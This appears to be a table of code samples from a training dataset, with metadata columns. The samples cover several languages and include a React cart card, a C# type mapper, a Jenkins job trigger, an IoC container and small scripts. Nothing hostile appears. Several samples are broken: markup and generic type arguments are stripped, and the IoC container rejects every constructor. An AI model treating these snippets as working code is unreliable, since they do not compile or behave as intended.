code
stringlengths
0
29.6k
language
stringclasses
9 values
AST_depth
int64
3
30
alphanumeric_fraction
float64
0.2
0.86
max_line_length
int64
13
399
avg_line_length
float64
5.02
139
num_lines
int64
7
299
source
stringclasses
4 values
protected byte[] buildPacket(Object v) { ByteBuffer b = ByteBuffer.allocate(PACKET_SIZE + 3); b.putShort((short)0xAABB); b.put((byte)PACKET_SIZE); b.putShort((short)(groupId << 8 | nodeId)); b.put((byte)packetType); // Packet type, default: 0xA0 b.put((byte)actuatorId); b.put((byte)v); b.position(0); byte[] bb = new byte[PACKET_SIZE + 3]; b.get(bb); return bb; }
java
10
0.629073
56
28.846154
13
inline
import React, { useState } from "react"; const ProductCard = ({ item, items, setItems, cartItems, setCartItems }) => { const [displayItem, updateItem] = useState(item); const addItemToCart = () => { updateItem( (displayItem.addItemToCart = true), (displayItem.addToCartButtonClass = "btn btn-danger"), (displayItem.addToCartButtonValue = "Remove from Cart") ); // setCartItems( // cartItems.map((cartItem) => { // if (cartItem.id === item.id) { // return { // ...cartItem, // count: cartItem.count + 1, // }; // } else { // return cartItem; // } // }) // ); setCartItems([...cartItems, displayItem]); }; const removeItemFromCart = () => { updateItem( (displayItem.addItemToCart = false), (displayItem.addToCartButtonClass = "btn btn-info"), (displayItem.addToCartButtonValue = "Add to Cart") ); setCartItems( cartItems.filter((mainItem) => mainItem.id !== displayItem.id) ); }; return ( <div className="product-card col-xl-3 col-lg-4 col-md-6 col-sm-12"> {/* <button className="btn btn-primary" onClick={increment}> {displayItem.price} */} <div className="card"> <img src={displayItem.image} className="card-img-top" alt="..."> <div className="card-body"> <h5 className="card-title">{displayItem.title} {/* <p className="card-text">{description} */} <ul className="list-group list-group-flush"> <li className="list-group-item"> $ <li className="list-group-item">Rating <li className="list-group-item">Quantity <div className="card-body"> <button className={displayItem.addToCartButtonClass} onClick={ displayItem.addItemToCart ? removeItemFromCart : addItemToCart } > {displayItem.addToCartButtonValue} {/* <button onClick={view ? this.handleEdit : this.handleSave}> */} <button className="btn btn-primary" onClick={addItemToCart}> <a href="/cart">Order Now ); }; export default ProductCard;
javascript
17
0.548673
86
29.317073
82
starcoderdata
/* * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for * license information. * * Code generated by Microsoft (R) AutoRest Code Generator. * Changes may cause incorrect behavior and will be lost if the code is * regenerated. */ 'use strict'; /** * Basic information on a release * */ class ListLatestOKResponseItem { /** * Create a ListLatestOKResponseItem. * @property {number} id ID identifying this unique release. * @property {string} version The release's version. * For iOS: CFBundleVersion from info.plist. * For Android: android:versionCode from AppManifest.xml. * @property {string} [origin] The release's origin. Possible values include: * 'hockeyapp', 'appcenter' * @property {string} shortVersion The release's short version. * For iOS: CFBundleShortVersionString from info.plist. * For Android: android:versionName from AppManifest.xml. * @property {boolean} enabled This value determines the whether a release * currently is enabled or disabled. * @property {string} uploadedAt UTC time in ISO 8601 format of the uploaded * time. * @property {string} [destinationType] OBSOLETE. Will be removed in next * version. The destination type. * The release distributed to internal groups and * distribution_groups details will be returned. * The release distributed to external stores and * distribution_stores details will be returned. * . Possible values include: 'group', 'store', 'tester' * @property {array} [distributionGroups] OBSOLETE. Will be removed in next * version. A list of distribution groups that are associated with this * release. * @property {array} [distributionStores] OBSOLETE. Will be removed in next * version. A list of distribution stores that are associated with this * release. * @property {array} [destinations] A list of distribution groups or stores. * @property {object} [build] Build information for the release * @property {string} [build.branchName] The branch name of the build * producing the release * @property {string} [build.commitHash] The commit hash of the build * producing the release * @property {string} [build.commitMessage] The commit message of the build * producing the release * @property {boolean} [isExternalBuild] This value determines if a release * is external or not. */ constructor() { } /** * Defines the metadata of ListLatestOKResponseItem * * @returns {object} metadata of ListLatestOKResponseItem * */ mapper() { return { required: false, serializedName: 'ListLatestOKResponseItem', type: { name: 'Composite', className: 'ListLatestOKResponseItem', modelProperties: { id: { required: true, serializedName: 'id', type: { name: 'Number' } }, version: { required: true, serializedName: 'version', type: { name: 'String' } }, origin: { required: false, serializedName: 'origin', type: { name: 'String' } }, shortVersion: { required: true, serializedName: 'short_version', type: { name: 'String' } }, enabled: { required: true, serializedName: 'enabled', type: { name: 'Boolean' } }, uploadedAt: { required: true, serializedName: 'uploaded_at', type: { name: 'String' } }, destinationType: { required: false, serializedName: 'destination_type', type: { name: 'String' } }, distributionGroups: { required: false, serializedName: 'distribution_groups', type: { name: 'Sequence', element: { required: false, serializedName: 'ListLatestOKResponseItemDistributionGroupsItemElementType', type: { name: 'Composite', className: 'ListLatestOKResponseItemDistributionGroupsItem' } } } }, distributionStores: { required: false, serializedName: 'distribution_stores', type: { name: 'Sequence', element: { required: false, serializedName: 'ListLatestOKResponseItemDistributionStoresItemElementType', type: { name: 'Composite', className: 'ListLatestOKResponseItemDistributionStoresItem' } } } }, destinations: { required: false, serializedName: 'destinations', type: { name: 'Sequence', element: { required: false, serializedName: 'ListLatestOKResponseItemDestinationsItemElementType', type: { name: 'Composite', className: 'ListLatestOKResponseItemDestinationsItem' } } } }, build: { required: false, serializedName: 'build', type: { name: 'Composite', className: 'ListLatestOKResponseItemBuild' } }, isExternalBuild: { required: false, serializedName: 'is_external_build', type: { name: 'Boolean' } } } } }; } } module.exports = ListLatestOKResponseItem;
javascript
18
0.552614
94
31.410526
190
starcoderdata
/* * * * * * * * * * * * * * * * * Copyright ©2018 Salih KARAHAN KARAHAN-LAB® Products * * * * * * * * * * * * * * * * * * * Creator: * Created Date: 10/9/2018 10:41:16 PM * Last Changer: * Changed Date: 11/1/2018 2:55:00 AM * * Since Version: v1.0.0 * * Summary: * What does the TypeMapper.MapperBuilder object do? * Which was created on demand? * License: * MIT License * * Copyright (c) 2018 * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * Description: * _ * Changes: * yyyy.mm.dd: * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ namespace TypeMapper { using System; using System.Collections.Generic; using System.Reflection; #if RELEASE using System.Diagnostics; #endif /// /// MapperBuilder helps you about of create a new mapper instance. <seealso cref="MapperBuilder.Build()"/> /// Besides that, this class provides two methods for defining map<see cref="MapDefinition"/> of types couple. /// [Serializable] #if RELEASE [DebuggerStepThrough] [DebuggerDisplay("MapperBuilder{}")] #endif public sealed class MapperBuilder : IMapperBuilder { #if RELEASE [DebuggerBrowsable(DebuggerBrowsableState.Never)] #endif private readonly List _definitions; /// /// Create a new MapperBuilder class instance. /// public MapperBuilder() { this._definitions = new List } /// /// This method allows you to define a map with using default matching /// /// <typeparam name="TTargetType">The target type is what you want to be mapped. /// <typeparam name="TSourceType">The source type containing the source of data in the mapping. /// MapperBuilder instance for you can define again another type couple. public IMapperBuilder DefineMapFor<TTargetType, TSourceType>() { return this.DefineMapFor<TTargetType, TSourceType>(null); } /// /// This method allows you to define a map with your specifications /// /// <typeparam name="TTargetType">The target type is what you want to be mapped. /// <typeparam name="TSourceType">The source type containing the source of data in the mapping. /// <param name="specifications"><see cref="IMapSpecificationsDefinition{TTargetType, TSourceType}"/> /// MapperBuilder instance for you can define again another type couple. public IMapperBuilder DefineMapFor<TTargetType, TSourceType>(Action<IMapSpecificationsDefinition<TTargetType, TSourceType>> specifications) { Type targetType = typeof(TTargetType); Type sourceType = typeof(TSourceType); List mapSpecifications = this.CreateDefaultAssignmentSpecifications(targetType, sourceType); if (specifications != null) { this.HandleUserDefinedSpecifications(specifications, mapSpecifications); } MapDefinition mapDefinition = new MapDefinition(targetType, sourceType, mapSpecifications); this._definitions.Add(mapDefinition); return this; } /// /// This method provides you create a mapper instance /// /// cref="IMapper"/> public IMapper Build() { this.DefineUndefinedReverseMaps(); IMapper mapper = new Mapper(this._definitions.ToArray()); return mapper; } /// /// This method creates default specifications for defined type couple according to name conversion /// /// <param name="targetType"> /// <param name="sourceType"> /// private List CreateDefaultAssignmentSpecifications(Type targetType, Type sourceType) { List mapSpecifications = new List PropertyInfo[] targetPropertyInfos = targetType.GetProperties(); foreach (PropertyInfo targetPropertyInfo in targetPropertyInfos) { PropertyInfo sourcePropertyInfo = sourceType.GetProperty(targetPropertyInfo.Name); if (sourcePropertyInfo != null) { MapSpecification defaultSpecification = new MapSpecification { TargetPropertyInfo = targetPropertyInfo, SourcePropertyInfo = sourcePropertyInfo, AssignmentAction = this.AssignmentAction }; mapSpecifications.Add(defaultSpecification); } } return mapSpecifications; } /// /// /// /// <typeparam name="TTargetType"> /// <typeparam name="TSourceType"> /// <param name="specifications"> /// <param name="mapSpecifications"> private void HandleUserDefinedSpecifications<TTargetType, TSourceType>(Action<MapSpecificationsDefinition<TTargetType, TSourceType>> specifications, List mapSpecifications) { MapSpecificationsDefinition<TTargetType, TSourceType> specificationsDefinition = new MapSpecificationsDefinition<TTargetType, TSourceType>(); specifications(specificationsDefinition); List userDefinedMapSpecifications = specificationsDefinition.Specifications; int userDefinedMapSpecificationsCount = userDefinedMapSpecifications.Count; for (int i = 0; i < userDefinedMapSpecificationsCount; i++) { MapSpecification userDefinedMapSpecification = userDefinedMapSpecifications[i]; int existSpecificationIndex = mapSpecifications.FindIndex(mapSpecification => mapSpecification.TargetPropertyInfo == userDefinedMapSpecification.TargetPropertyInfo); if (existSpecificationIndex != -1) { mapSpecifications.RemoveAt(existSpecificationIndex); } mapSpecifications.Add(userDefinedMapSpecification); } } /// /// /// private void DefineUndefinedReverseMaps() { List reverseMapDefinitionList = new List int definedMapCount = this._definitions.Count; for (int i = 0; i < definedMapCount; i++) { MapDefinition mapDefinition = this._definitions[i]; MapDefinition reverseMapDefinition = this._definitions.Find(definition => definition.TargetType == mapDefinition.SourceType && definition.SourceType == mapDefinition.TargetType ); if (reverseMapDefinition == null) { List defaultSpecificationsOfReverseMap = this.CreateDefaultAssignmentSpecifications(mapDefinition.SourceType, mapDefinition.TargetType); reverseMapDefinition = new MapDefinition(mapDefinition.SourceType, mapDefinition.TargetType, defaultSpecificationsOfReverseMap); reverseMapDefinitionList.Add(reverseMapDefinition); } } this._definitions.AddRange(reverseMapDefinitionList); } /// /// /// /// <param name="targetPropertyInfo"> /// <param name="targetObject"> /// <param name="sourcePropertyInfo"> /// <param name="sourceObject"> private void AssignmentAction(PropertyInfo targetPropertyInfo, object targetObject, PropertyInfo sourcePropertyInfo, object sourceObject) { // TODO@salih => İki property'nin tipi aynı mı? Birbirine atanabilirler mi? Kontrol edilmeli!!! targetPropertyInfo.SetValue(targetObject, sourcePropertyInfo.GetValue(sourceObject)); } } }
c#
20
0.58958
198
46.716981
212
starcoderdata
// Copyright (c) p Licensed under the MIT Licence. // See the LICENCE file in the repository root for full licence text. #nullable enable using ManagedBass; using osu.Framework.Bindables; using osu.Framework.Extensions.ObjectExtensions; namespace osu.Framework.Audio.Mixing { /// /// Mixes together multiple <see cref="IAudioChannel"/>s into one output. /// public abstract class AudioMixer : AudioComponent, IAudioMixer { private readonly AudioMixer? globalMixer; /// /// Creates a new <see cref="AudioMixer"/>. /// /// <param name="globalMixer">The global <see cref="AudioMixer"/>, which <see cref="IAudioChannel"/>s are moved to if removed from this one. /// A value indicates this is the global <see cref="AudioMixer"/>. protected AudioMixer(AudioMixer? globalMixer) { this.globalMixer = globalMixer; } public abstract BindableList Effects { get; } public void Add(IAudioChannel channel) { channel.EnqueueAction(() => { if (channel.Mixer == this) return; // Ensure the channel is removed from its current mixer. channel.Mixer?.Remove(channel, false); AddInternal(channel); channel.Mixer = this; }); } public void Remove(IAudioChannel channel) => Remove(channel, true); /// /// Removes an <see cref="IAudioChannel"/> from the mix. /// /// <param name="channel">The <see cref="IAudioChannel"/> to remove. /// <param name="returnToDefault">Whether <paramref name="channel"/> should be returned to the default mixer. protected void Remove(IAudioChannel channel, bool returnToDefault) { // If this is the default mixer, prevent removal. if (returnToDefault && globalMixer == null) return; channel.EnqueueAction(() => { if (channel.Mixer != this) return; RemoveInternal(channel); channel.Mixer = null; // Add the channel back to the default mixer so audio can always be played. if (returnToDefault) globalMixer.AsNonNull().Add(channel); }); } /// /// Adds an <see cref="IAudioChannel"/> to the mix. /// /// <param name="channel">The <see cref="IAudioChannel"/> to add. protected abstract void AddInternal(IAudioChannel channel); /// /// Removes an <see cref="IAudioChannel"/> from the mix. /// /// <param name="channel">The <see cref="IAudioChannel"/> to remove. protected abstract void RemoveInternal(IAudioChannel channel); } }
c#
19
0.562301
148
34.581395
86
starcoderdata
func TriggerJob(ctx context.Context, jenkins Jenkins, jobName string, parameters map[string]string) (*gojenkins.Build, error) { // get job id jobID := strings.ReplaceAll(jobName, "/", "/job/") // start job queueID, startBuildErr := jenkins.BuildJob(ctx, jobID, parameters) if startBuildErr != nil { return nil, startBuildErr } if queueID == 0 { // handle rare error case where queueID is not set // see https://github.com/bndr/gojenkins/issues/205 // see https://github.com/bndr/gojenkins/pull/226 return nil, fmt.Errorf("unable to queue build") } // get build return jenkins.GetBuildFromQueueID(ctx, queueID) }
go
10
0.718354
127
34.166667
18
inline
""" Example URLConf for a contact form. Because the ``contact_form`` view takes configurable arguments, it's recommended that you manually place it somewhere in your URL configuration with the arguments you want. If you just prefer the default, however, you can hang this URLConf somewhere in your URL hierarchy (for best results with the defaults, include it under ``/contact/``). """ from django.conf.urls.defaults import * from django.views.generic.simple import direct_to_template from contact.views import contact_form urlpatterns = patterns("", url(r"^$", contact_form, name="contact_form"), url(r"^sent/$", direct_to_template, { "template": "contact_form/contact_form_sent.html" }, name="contact_form_sent"), )
python
10
0.749322
118
31.086957
23
starcoderdata
from transformers import BartTokenizer, BartForConditionalGeneration import pytorch_lightning as pl import torch from .modeling_bart import WeightedBart from .modeling_ner import ModelForNERBase class BartPL(BartForConditionalGeneration, pl.LightningModule): pass class BartForNER(ModelForNERBase, BartPL): def __init__(self, config, hparams=None): super(BartPL, self).__init__(config) self.hparams = hparams self.tokenizer = self.get_tokenizer() # creating the loss self._token_weights = self._create_token_weights() self.train_dataset = None self.val_dataset = None self.test_dataset = None def _handle_batch(self, batch): # batch = self.trim_batch(batch) input_ids, attention_mask, lm_labels = batch outputs = self(input_ids=input_ids, attention_mask=attention_mask, lm_labels=lm_labels) return outputs @staticmethod def trim_matrix(mat, value): eq_val = (mat == value).float() eq_val = eq_val.cumsum(-1) index = torch.nonzero(eq_val == 1.) if len(index) and len(index) == len(mat): index = index[:, 1].max().item() else: index = mat.shape[-1] return index def trim_batch(self, batch): input_ids, attention_mask, lm_labels = batch input_ids_index = self.trim_matrix( input_ids, self.config.pad_token_id) lm_labels_index = self.trim_matrix(lm_labels, -100) index = max(input_ids_index, lm_labels_index) attention_mask = attention_mask[:, :index] input_ids = input_ids[:, :index] lm_labels = lm_labels[:, :index] return input_ids, attention_mask, lm_labels def get_tokenizer(self,): pretrained_model = self.get_value_or_default_hparam( 'pretrained_model', "facebook/bart-large") return BartTokenizer.from_pretrained(pretrained_model) @property def source_max_length(self,) -> int: return self.max_length @property def target_max_length(self,) -> int: return self.max_length
python
16
0.616934
68
29.347222
72
starcoderdata
class LRU_cache { public: LRU_cache(int capacity); void flush(); // Clear the cache void read(const std::string& file_path); // Write the cache entries to the file void write(const std::string& file_path); /* Adds the key and values to the cache. Key may have multiple values. There is no duplication check in the cache. Maximum values that could be stored upto the capacity specified in the beginning of initialzing cache. @param first_name [IN] First name if the key. @param last_name [IN] Last name */ void put(const std::string first_name, const std::string last_name, const int age); /* Returns an array of records that matches all the records. */ vector<string> get(const std::string first_name); private: struct Record { std::string first_name; std::string last_name; int age; }; using llist_itr = std::list<std::list<Record>>::iterator; void update_cache(llist_itr& ll_itr, const std::string old_key, const std::string first_name, const std::string last_name, const int age); int m_capacity; int m_size; // For every key there is a list. That stores all the records pertatining to // that key. std::list<std::list<Record>> m_llist; /* key is the first name, value is the index of the list in the array of lists */ unordered_map<std::string, llist_itr> m_lru; }
c
8
0.661484
80
31.930233
43
inline
""" This program converts an octal number to decimal. """ def octal_to_decimal(octal_number: str) -> int: # check if the number is a octal number if not is_octal(octal_number): raise ValueError("Invalid Octal Number") decimal_number = 0 for digit in octal_number: decimal_number = decimal_number * 8 + int(digit) return decimal_number def is_octal(octal_number: str) -> bool: # check if the number is a octal number if len(octal_number) == 0: return False for digit in octal_number: if digit not in "01234567": return False return True
python
10
0.642973
56
25.956522
23
starcoderdata
<!DOCTYPE html> <html lang="pt-BR"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> Post <form action="<?php echo "http://localhost/crud/posts/new_post/0" ?>" method="POST"> <label for="">title <input type="text" id="" name="title"> <label for="">author <input type="text" id="" name="author"> <label for="">date <input type="date" id="" name="submission_date"> <input type="submit" value="enviar">
php
3
0.584708
88
32.4
20
starcoderdata
package thewrestler.patches.ui; import com.evacipated.cardcrawl.modthespire.lib.SpirePatch; import com.evacipated.cardcrawl.modthespire.lib.SpirePrefixPatch; import com.megacrit.cardcrawl.dungeons.AbstractDungeon; import com.megacrit.cardcrawl.rooms.AbstractRoom; import com.megacrit.cardcrawl.screens.DungeonMapScreen; import thewrestler.WrestlerMod; import thewrestler.characters.WrestlerCharacter; import thewrestler.util.BasicUtils; public class SignatureMoveInfoInitializePatch { @SpirePatch(clz = DungeonMapScreen.class, method = "open", paramtypez = { boolean.class } ) public static class SignatureMoveInfoInitializeOnRunStartPatch { @SpirePrefixPatch public static void Postfix(DungeonMapScreen __instance, boolean doScrollingAnimation) { if (BasicUtils.isPlayingAsWrestler() && AbstractDungeon.getCurrRoom().phase == AbstractRoom.RoomPhase.COMPLETE && WrestlerCharacter.getSignatureMoveInfo() == null) { WrestlerMod.logger.info("SignatureMoveInfoInitializePatch::Postfix initializing signatureMoveInfo"); WrestlerCharacter.setSignatureMoveInfo(WrestlerCharacter.initializeSignatureMoveInfo()); } } } }
java
11
0.808274
119
45.555556
27
starcoderdata
using System; using System.IO; using System.Collections; namespace PNUnit.Framework { [Serializable] public class PNUnitServices { // To be used only by the runner public PNUnitServices( PNUnitTestInfo info, IPNUnitServices services, ITestConsoleAccess consoleAccess, ITestLogInfo testLogInfo) { mInfo = info; mServices = services; mConsoles = new ArrayList(); mConsoles.Add(consoleAccess); mTestLogInfo = testLogInfo; mInstance = this; } public static bool Ready() { return mInstance != null; } public static PNUnitServices Get() { if (mInstance == null) throw new Exception("mInstance is null"); return mInstance; } private void CheckInfo() { if (mInfo == null) throw new Exception("TestInfo not initialized"); } // IPNUnitServices public void InitBarriers() { CheckInfo(); mServices.InitBarriers(GetTestName()); } public void InitBarrier(string name, int max) { CheckInfo(); mServices.InitBarrier(GetTestName(), name, max); } public void EnterBarrier(string barrier) { CheckInfo(); mServices.EnterBarrier(GetTestName(), barrier); } public void SendMessage(string tag, int receivers, object message) { CheckInfo(); WriteLine(string.Format( ">>>Sending message (tag:{1} receivers:{2} message:{3}) by test {0} ", mInfo.TestName, tag, receivers, message == null ? string.Empty : message.ToString())); int ini = Environment.TickCount; mServices.SendMessage(tag, receivers, message); WriteLine(string.Format( "<<<Message sent (tag:{1} receivers:{2} message:{3}) by test {0} & all receivers confirmed reception. [{4} ms]", mInfo.TestName, tag, receivers, message == null ? string.Empty : message.ToString(), Environment.TickCount - ini)); if (Environment.TickCount - ini > 800) { WriteLine("WARNING!! - SendMessage is taking forever! Try to run your launcher with --iptobind to speed up the process. Most likely you have an isue with your hostname"); } } public object ReceiveMessage(string tag) { CheckInfo(); WriteLine( string.Format(">>>Receiving message (tag:{1}) by test {0}", mInfo.TestName, tag)); object message = mServices.ReceiveMessage(tag); WriteLine( string.Format("<<<Received message (tag:{1} message:{2}) by test {0}", mInfo.TestName, tag, message.ToString())); return message; } public void ISendMessage(string tag, int receivers, object message) { CheckInfo(); WriteLine(string.Format( ">>>Sending msg (tag:{1} message:{2}) by test {0} ", mInfo.TestName, tag, message == null ? string.Empty : message.ToString())); int ini = Environment.TickCount; mServices.ISendMessage(tag, receivers, message); WriteLine(string.Format( "<<<Message sent (tag:{1} message:{2}) by test {0} & all receivers confirmed reception. [{3} ms]", mInfo.TestName, tag, message == null ? string.Empty : message.ToString(), Environment.TickCount - ini)); if (Environment.TickCount - ini > 800) { WriteLine("WARNING!! - SendMessage is taking forever! Try to run your launcher with --iptobind to speed up the process. Most likely you have an isue with your hostname"); } } public object IReceiveMessage(string tag) { CheckInfo(); WriteLine( string.Format(">>>Looking for message (tag:{1}) by test {0}", mInfo.TestName, tag)); object msg = mServices.IReceiveMessage(tag); WriteLine( string.Format("<<<Search for message (tag{1}) by test {0}", mInfo.TestName, tag)); return msg; } public string[] GetTestWaitBarriers() { CheckInfo(); return mInfo.WaitBarriers; } public string GetTestName() { CheckInfo(); return mInfo.TestName; } public string[] GetTestParams() { CheckInfo(); return mInfo.TestParams; } public void SetInfoOSVersion(string value) { mTestLogInfo.SetOSVersion(value); } public void SetInfoBackendType(string value) { mTestLogInfo.SetBackendType(value); } public void WriteLine(string s) { if( mConsoles == null ) throw new Exception("mConsoles is null"); lock (mConsoles.SyncRoot) { foreach (ITestConsoleAccess console in mConsoles) { console.WriteLine(s); } } } public void WriteLine(string s, params object[] args) { WriteLine(string.Format(s, args)); } public void Write(char[] buf) { if (mConsoles == null) throw new Exception("mConsoles is null"); lock (mConsoles.SyncRoot) { foreach (ITestConsoleAccess console in mConsoles) { console.Write(buf); } } } public void ClearConsoles() { if (mConsoles == null) throw new Exception("mConsoles is null"); lock (mConsoles.SyncRoot) { foreach (ITestConsoleAccess console in mConsoles) { console.Clear(); } } } public void RegisterConsole(ITestConsoleAccess console) { lock (mConsoles) { if (!mConsoles.Contains(console)) mConsoles.Add(console); } } public void UnregisterConsole(ITestConsoleAccess console) { lock (mConsoles) { mConsoles.Remove(console); } } public string GetTestStartBarrier() { CheckInfo(); if (mInfo.StartBarrier == null || mInfo.StartBarrier == string.Empty) mInfo.StartBarrier = Names.ServerBarrier; return mInfo.StartBarrier; } public string GetTestEndBarrier() { CheckInfo(); if (mInfo.EndBarrier == null || mInfo.EndBarrier == string.Empty) mInfo.EndBarrier = Names.EndBarrier; return mInfo.EndBarrier; } public string GetUserValue(string key) { if( mInfo == null || mInfo.UserValues == null || mInfo.UserValues.Count == 0) return null; return (string) mInfo.UserValues[key]; } public static IPNUnitServices GetPNunitServicesProxy(string server) { // this server is the launcher host:port IPNUnitServices result = (IPNUnitServices)Activator.GetObject( typeof(IPNUnitServices), string.Format("tcp://{0}/{1}", server, PNUNIT_SERVICES_NAME)); return result; } public const string PNUNIT_SERVICES_NAME = "IPNUnitServices"; PNUnitTestInfo mInfo = null; IPNUnitServices mServices = null; ArrayList mConsoles = null; ITestLogInfo mTestLogInfo = null; static PNUnitServices mInstance = null; } }
c#
19
0.518559
186
29.076364
275
starcoderdata
using System; using System.Collections.Generic; using System.Text; namespace Cms.Model.ViewModels { public class ExpenseViewModel : BaseViewModel { public int ExpenseTypeId { get; set; } public string Name { get; set; } public string Phone { get; set; } public string Address { get; set; } public string Explanation { get; set; } public float PaidAmount { get; set; } public float RemainingAmount { get; set; } public float TotalAmount { get; set; } public ExpenseTypeViewModel ExpenseType { get; set; } } }
c#
8
0.686594
57
28.052632
19
starcoderdata
using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Text; using System.Threading.Tasks; namespace Concise.Core.IoC { internal class ConciseContainer : IContainer { private class Registration { public Type InterfaceType; public Type ImplementationType; public bool IsSingleton; public object SingletonInstance; } bool initialized = false; IDictionary<Type, Registration> registrations = new Dictionary<Type, Registration>(); Resolver resolver; public ConciseContainer() { this.resolver = new Resolver(this); } public void RegisterTransient<TService, TImplementation>() { var registration = new Registration { InterfaceType = typeof(TService), ImplementationType = typeof(TImplementation), IsSingleton = false }; registrations[typeof(TService)] = registration; } public void RegisterSingleton<TService, TImplementation>() { var registration = new Registration { InterfaceType = typeof(TService), ImplementationType = typeof(TImplementation), IsSingleton = true }; registrations[typeof(TService)] = registration; } private object Resolve(Type serviceType) { Registration registration; if (!this.registrations.TryGetValue(serviceType, out registration)) throw new InvalidOperationException($"No registration exists for {serviceType.FullName}"); if (registration.IsSingleton) { if (registration.SingletonInstance != null) return registration.SingletonInstance; else { // Ensure thread safety on the singleton create lock (registration) { if (registration.SingletonInstance != null) return registration.SingletonInstance; registration.SingletonInstance = this.CreateWithInjection(registration.ImplementationType); return registration.SingletonInstance; } } } else return this.CreateWithInjection(registration.ImplementationType); } private object CreateWithInjection(Type objectType) { ConstructorInfo[] constructors = objectType.GetConstructors(BindingFlags.Instance | BindingFlags.Public); if (constructors.Length > 0) throw new InvalidOperationException($"Multiple constructors are not supported on type {objectType.FullName}"); if (constructors.Length == 0) throw new InvalidOperationException($"No public instance constructor exists for type {objectType.FullName}"); Type[] argumentTypes = constructors.First().GetParameters().Select(pi => pi.ParameterType).ToArray(); object[] args = argumentTypes.Select(argType => this.Resolve(argType)).ToArray(); return Activator.CreateInstance(objectType, args); } private class Resolver : IServiceProvider { private ConciseContainer container; public Resolver(ConciseContainer container) { this.container = container; } public object GetService(Type serviceType) { return container.Resolve(serviceType); } } public IServiceProvider Provider { get { return this.resolver; } } } }
c#
20
0.56655
126
33.830357
112
starcoderdata
def std_bounds(ys: List[Union[float, int]], num_std: int = 2) -> Tuple[float, float]: """Return upper and lower bounds for an array of values""" u = np.mean(ys) std = np.std(ys) upper = float(u + num_std * std) lower = float(u - num_std * std) return upper, lower
python
11
0.606272
85
40.142857
7
inline
int main() { // stack using arrys int i; push(10); push(20); push(30); push(40); push(50); for(i=0;i<=top;i++) { printf("%d\n", A[i]); } printf("Poped Element is : %d\n", pop()); push(70); push(80); for(i=0;i<=top;i++) { printf("%d\n", A[i]); } printf("Poped Element is : %d\n", pop()); return 0; }
c
9
0.430809
45
14.36
25
inline
/* * * 给定一个字符串&nbsp;s1,我们可以把它递归地分割成两个非空子字符串,从而将其表示为二叉树。 * * 下图是字符串&nbsp;s1&nbsp;=&nbsp;&quot;great&quot;&nbsp;的一种可能的表示形式。 * * great * / \ * gr eat * / \ / \ * g r e at * / \ * a t * * * 在扰乱这个字符串的过程中,我们可以挑选任何一个非叶节点,然后交换它的两个子节点。 * * 例如,如果我们挑选非叶节点&nbsp;&quot;gr&quot;&nbsp;,交换它的两个子节点,将会产生扰乱字符串&nbsp;&quot;rgeat&quot;&nbsp;。 * * rgeat * / \ * rg eat * / \ / \ * r g e at * / \ * a t * * * 我们将&nbsp;&quot;rgeat&rdquo;&nbsp;称作&nbsp;&quot;great&quot;&nbsp;的一个扰乱字符串。 * * 同样地,如果我们继续将其节点&nbsp;&quot;eat&quot;&nbsp;和&nbsp;&quot;at&quot;&nbsp;进行交换,将会产生另一个新的扰乱字符串&nbsp;&quot;rgtae&quot;&nbsp;。 * * rgtae * / \ * rg tae * / \ / \ * r g ta e * / \ * t a * * * 我们将&nbsp;&quot;rgtae&rdquo;&nbsp;称作&nbsp;&quot;great&quot;&nbsp;的一个扰乱字符串。 * * 给出两个长度相等的字符串 s1 和&nbsp;s2,判断&nbsp;s2&nbsp;是否是&nbsp;s1&nbsp;的扰乱字符串。 * * 示例&nbsp;1: * * 输入: s1 = &quot;great&quot;, s2 = &quot;rgeat&quot; * 输出: true * * * 示例&nbsp;2: * * 输入: s1 = &quot;abcde&quot;, s2 = &quot;caebd&quot; * 输出: false * * */
javascript
3
0.515302
120
19.508475
59
starcoderdata
#include <bits/stdc++.h> using namespace std; #define REP(i,n) for(int i=0,_n=(int)(n); i < _n; i++) typedef long long ll; const ll MOD = 1000000007; int nextInt() { int x; scanf("%d", &x); return x; } int main2() { ll A = nextInt(); ll B = nextInt(); ll C = nextInt(); const int LIMIT = 1000; int ans = 0; for (; ans < LIMIT; ++ans) { if (A % 2 == 1) break; if (B % 2 == 1) break; if (C % 2 == 1) break; ll a = (B + C) / 2; ll b = (C + A) / 2; ll c = (A + B) / 2; A = a; B = b; C = c; } if (ans >= LIMIT) ans = -1; cout << ans << endl; return 0; } int main() { for (;!cin.eof();cin>>ws) main2(); return 0; }
c++
10
0.472674
54
16.358974
39
codenet
import json import os import sys rootdir = 'src' format_type = sys.argv[1] for subdir, dirs, files in os.walk(rootdir): for file in files: ext = os.path.splitext(file)[-1].lower() if ext == '.json': filename = os.path.join(subdir, file) print(filename) with open(filename, 'r') as json_file: json_object = json.load(json_file) f = open(filename, 'w') if format_type == 'prettify': f.write(json.dumps(json_object, indent=2)) elif format_type == 'minify': f.write(json.dumps(json_object, separators=(',', ':'))) f.close()
python
18
0.556005
71
31.217391
23
starcoderdata
